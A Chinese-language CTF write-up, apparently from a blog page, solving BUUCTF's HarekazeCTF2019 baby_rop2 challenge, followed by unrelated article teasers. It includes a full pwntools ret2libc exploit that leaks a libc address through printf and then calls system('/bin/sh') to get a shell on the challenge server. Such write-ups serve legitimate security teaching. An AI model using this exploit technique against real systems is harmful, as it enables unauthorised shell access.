news 2026/1/2 5:52:43

buuctf中的[HarekazeCTF2019]baby_rop2

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf中的[HarekazeCTF2019]baby_rop2

首先checksec检查保护机制:

-64位程序

-开启了栈不可执行保护

题目还附带了libc库文件,点击就能下载

接下来使用IDA反汇编分析一下:

buf到栈底的距离为0x20个字节,但是下面的read函数却读入了0x100个字节的数据,可以触发栈溢出漏洞,在IDA中发现程序没有后面函数,system或/bin/sh地址,再配合前面给的libc库,判断是要我们拿到某个函数的真实进而求出libc的基址再来计算出system和/bin/sh的地址

先拿到main函数地址,用于后面触发二次溢出:0x400636

再在Linux终端中输入一下指令:

拿到rdi地址:0x400733,用于调用函数,ret地址:0x4004d1,用于栈对齐

ROPgadget --binary pwn --only "pop|ret"

然后开始编写exp攻击脚本:

基本思路是通过两次栈溢出拿到shell,第一次栈溢出先泄露出read函数的真实地址,然后计算出libc基址,进而求出system函数地址和/bin/sh地址,然后第二次栈溢出注入system函数拿到shell,都是ROP链的构造

from pwn import * context(arch='amd64', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',26311) # 与在线环境交互。 offset = 40 main_addr = 0x400637 ret_addr = 0x4004d1 rdi_addr = 0x400733 elf = ELF("./pwn") read_got = elf.got['read'] printf_plt = elf.plt['printf'] libc = ELF("./libc.so.6") io.recvuntil(b'What\'s your name? ') payload = b'a'*offset + p64(ret_addr) + p64(rdi_addr) + p64(read_got) + p64(printf_plt) + p64(main_addr) io.sendline(payload) io.recvline() read_addr = u64(io.recvuntil(b'W')[:-1].ljust(8,b'\x00')) print(hex(read_addr)) libc_base = read_addr - libc.sym['read'] system_addr = libc_base + libc.sym['system'] bin_sh_addr = libc_base + next(libc.search(b'/bin/sh')) io.recvuntil(b'name? ') payload = b'a'*offset + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr) io.sendline(payload) io.interactive()

这是运行结果:

这里直接输入cat flag是拿不到flag,因为flag不在根目录下,跟着我下面的指令输入就可以拿到flag了

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/1/1 12:45:39

buuctf中的picoctf_2018_rop chain

首先checksec检查保护机制:-32位程序-开启了栈不可执行机制然后使用反汇编工具IDA进行分析:看到了vuln函数和左边的win1,win2函数及flag函数,第一眼看到就觉得能够从这些函数中获取flag,但实际行不行呢,先一…

作者头像 李华
网站建设 2026/1/1 12:45:37

MuJoCo: 开源的高性能物理仿真引擎

文章目录🔍 核心特点1. **高效且准确的物理建模**2. **丰富的物理对象与执行器支持**3. **高性能求解与数值方法**4. **易用的建模与可视化**5. **高性能底层实现**🛠️ 典型应用场景📦 使用方式(简要)📚 学…

作者头像 李华
网站建设 2026/1/1 12:45:32

男人宠你的 9 个 “藏不住” 本能反应

别人吐槽你,他立马开启“护犊子”模式,怼人都不带打草稿的👊抱抱时像裹粽子,胳膊勒得比安全带还紧,生怕你跑掉🎐走路自动切换“龟速档”,你走一步他挪半步,主打一个同频贴贴&#x1…

作者头像 李华
网站建设 2026/1/1 12:45:30

看看灵光、秒哒、NoCode、Gemini、iThinkAir各家做应用的效果

一句话生成应用的AI工具已经有很多了,比如:灵光、秒哒、NoCode、Gemini、iThinkAir。这里试试看各家生成应用的效果。 输入这样一句话:做一个漫绘科普的工具应用:“专业术语?画给你看!”,“复杂…

作者头像 李华
网站建设 2025/12/27 22:41:07

如何通过 API 网关实现统一的安全治理

随着微服务架构的普及,企业 API 数量呈指数级增长。然而,安全策略若分散在各个服务中,将导致防护不一致、漏洞难管控、审计难追溯。API 网关作为流量统一入口,是实现安全治理的理想载体。本文介绍如何通过 API 网关构建集中化、标…

作者头像 李华